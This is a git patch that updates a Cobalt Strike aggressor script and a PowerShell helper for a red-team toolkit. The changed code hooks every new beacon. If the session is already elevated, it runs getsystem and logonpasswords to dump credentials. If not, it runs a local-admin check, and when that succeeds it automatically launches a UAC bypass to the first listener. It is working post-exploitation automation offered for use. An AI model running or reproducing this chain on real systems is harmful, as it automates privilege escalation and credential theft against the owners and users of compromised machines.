From c44045d7d5ad3a3b7eed29614509d93930cc2786 Mon Sep 17 00:00:00 2001
From: Alex Rymdeko-Harvey <iamfree2009@gmail.com>
Date: Fri, 8 Jan 2016 13:28:55 -0500
Subject: [PATCH] Add in LA checks

---
 CheckLAdminContext.ps1  | 10 ++++++++-
 Initial-LAdminCheck.cna | 45 ++++++++++++++++++++++++-----------------
 2 files changed, 36 insertions(+), 19 deletions(-)

diff --git a/CheckLAdminContext.ps1 b/CheckLAdminContext.ps1
index cb5194c..d2d92de 100644
--- a/CheckLAdminContext.ps1
+++ b/CheckLAdminContext.ps1
@@ -24,7 +24,15 @@ function Invoke-LocalAdminCheck {
         $SecondCheck = Get-SecondCheck
         If ($IsAdmin -or $SecondCheck)
                 {
-                Write-Host "[!] Currently-in-LocalAdmin-Context"
+                If ($Initial)
+                    {
+                    Write-Host "[!] Agent-Started-in-LocalAdmin-Context"
+                    }
+                Else
+                    {
+                     Write-Host "[!] Currently-in-LocalAdmin-Context"
+                    }
+
                 }
          Else
                 {
diff --git a/Initial-LAdminCheck.cna b/Initial-LAdminCheck.cna
index adcbcde..9c40efe 100644
--- a/Initial-LAdminCheck.cna
+++ b/Initial-LAdminCheck.cna
@@ -15,31 +15,40 @@ alias checkla {
 beacon_command_register(
   "checkla", 
   "Checks if the current user is in a Local-Admin Context", 
-  "Synopsis: echo [no arguments]\n\nChecks using Powershell that supports (2.0 or later with 3.5 .NET) \n or (PS 4.0 or later) to perform a local admin check of current user.");
+  "Synopsis: checkla [no arguments]\n\nChecks using Powershell that supports (2.0 or later with 3.5 .NET) \n or (PS 4.0 or later) to perform a local admin check of current user.");
 
   # set up the Initial check
 on beacon_initial {
-  powershellimport($1);
-  bpowershell($1, 'Invoke-DACheck -Initial True');
-
-
-  $s = replace($2, 'received output:\n'.'');
-  # println($s);
-  $f = "[!] Found-DA-User:";
-  if ($f isin $s)
-    {
-    $pid = binfo($1, "pid");
-    elog("Found DA User at Pid: $pid");
-    show_message("Found DA User at Pid: $pid");
-    beacon_note($1, "DA User on this box");
-    }
-
-
   $a = binfo($1, "user");
   $b = "*";
   if ($b isin $a)
     {
     bgetsystem($1);
     blogonpasswords($1);
+    beacon_note($1, "Elevated Context: Ran LogonPasswords");
     }
-}
\ No newline at end of file
+  else
+    {
+    powershellimport($1);
+    bpowershell($1, 'Invoke-LocalAdminCheck -Initial True');
+    }
+}
+
+on beacon_output {
+  $s = replace($2, 'received output:\n'.'');
+  # println($s);
+  $f = "[!] Agent-Started-in-LocalAdmin";
+  if ($f isin $s)
+    {
+    $pid = binfo($1, "pid");
+    elog("Initial Beacon is LocalAdmin at: $pid");
+    # beacon_note($1, "Elevated Context: Ran Logon");
+    $lis = listeners_local();
+    bbypassuac($1, $lis[0]);
+    }
+}
+
+# All intial beacons run script
+# event triggers on output
+# if it matches known string it executes logic
+# if intial matches a * in name it executes logic
\ No newline at end of file